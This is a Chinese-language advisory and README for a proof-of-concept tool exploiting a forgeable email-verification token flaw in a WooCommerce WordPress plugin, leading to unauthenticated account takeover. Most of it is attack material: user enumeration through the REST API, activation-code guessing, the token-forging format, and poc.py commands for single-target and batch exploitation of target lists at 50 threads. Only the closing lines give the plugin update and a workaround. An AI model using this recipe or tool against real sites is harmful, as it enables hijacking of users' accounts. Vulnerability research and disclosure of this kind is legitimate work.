CVSS 8.1(高危)- WPScan CNA - 发布于 2026 年 10 月 16 日
通过可伪造的电子邮件验证令牌实现未认证账户接管。
alg_wc_ev_decode_verify_code() 接受 ?alg_wc_ev_verify_email=<payload>,其中 <payload> 是 base64url 编码的 JSON,同时控制 id 和 code。令牌上没有签名、HMAC、nonce 或过期时间。
经源码验证:对比 plugins.svn.wordpress.org 上 tags/3.3.0 与 tags/3.3.1 的差异。
3.3.1 修复添加了 alg_wc_ev_sign_verify_code()(追加 "." . wp_hash(payload))、hash_equals() 校验以及 IP 速率限制。这是对 3.2.6 类型混淆修复(CVE-2026-14182)的回归,后者并未解决可伪造令牌的设计问题。
| 原语 | 方法 |
|---|---|
| 用户 ID 枚举 | GET /wp-json/wp/v2/users 返回每个用户的 id、slug、email |
| 激活码发现 | 元数据 alg_wc_ev_activation_code 通常是用户的电子邮件地址(默认注册流程) |
| 令牌伪造 | base64url({"id":<N>, "code":"<email>"}) -> ?alg_wc_ev_verify_email=<token> |
alg_wc_ev_resend_verification_email AJAX 端点(admin-ajax.php)在激活码未知时会泄露用户电子邮件。猜测值 "0"、"true"、"1" 覆盖了残余的类型混淆路径。
python3 poc.py --target https://victim.example --vid 8 --email [email protected]
python3 poc.py --target https://victim.example --vid 8 --guess
python3 poc.py --target https://victim.example --scan-users
python3 poc.py --batch targets.txt --vid 8 --guess -o results.json -t 50
python3 poc.py --batch targets.txt --probe -o fingerprints.json
python3 poc.py --help
| 参数 | 描述 |
|---|---|
--target | 单个目标 URL |
--batch | 包含目标 URL 的文件(每行一个) |
--vid | 受害者用户 ID(默认:1) |
--email | 受害者电子邮件(激活码候选) |
--guess | 自动猜测激活码:重发泄露 -> "0" -> "true" -> "1" |
--scan-users | 通过 REST API 列出 WP 用户 |
--probe | 仅指纹识别,不尝试利用 |
-t / --threads | 批量模式的线程数(默认:30) |
--timeout | HTTP 超时(默认:10) |
-o / --output | 将结果写入为 JSON |
使用 ?alg_wc_ev_verify_email=<probe_token> 进行探测(以 --probe 形式提供):
| 响应 | 含义 |
|---|---|
| "tampered" / "Invalid, unsigned or tampered verification token" | 已修补(3.3.1+) |
| "Email successfully verified" / "Your account has been verified" | 存在漏洞(<=3.3.0) |
| 无匹配 / HTTP 404 | 未检测到插件 |
wp plugin update customer-email-verification-for-woocommerce --version=3.3.1
变通方案:禁用 "Auto-login after successful email verification"(alg_wc_ev_login_automatically_on_activation)。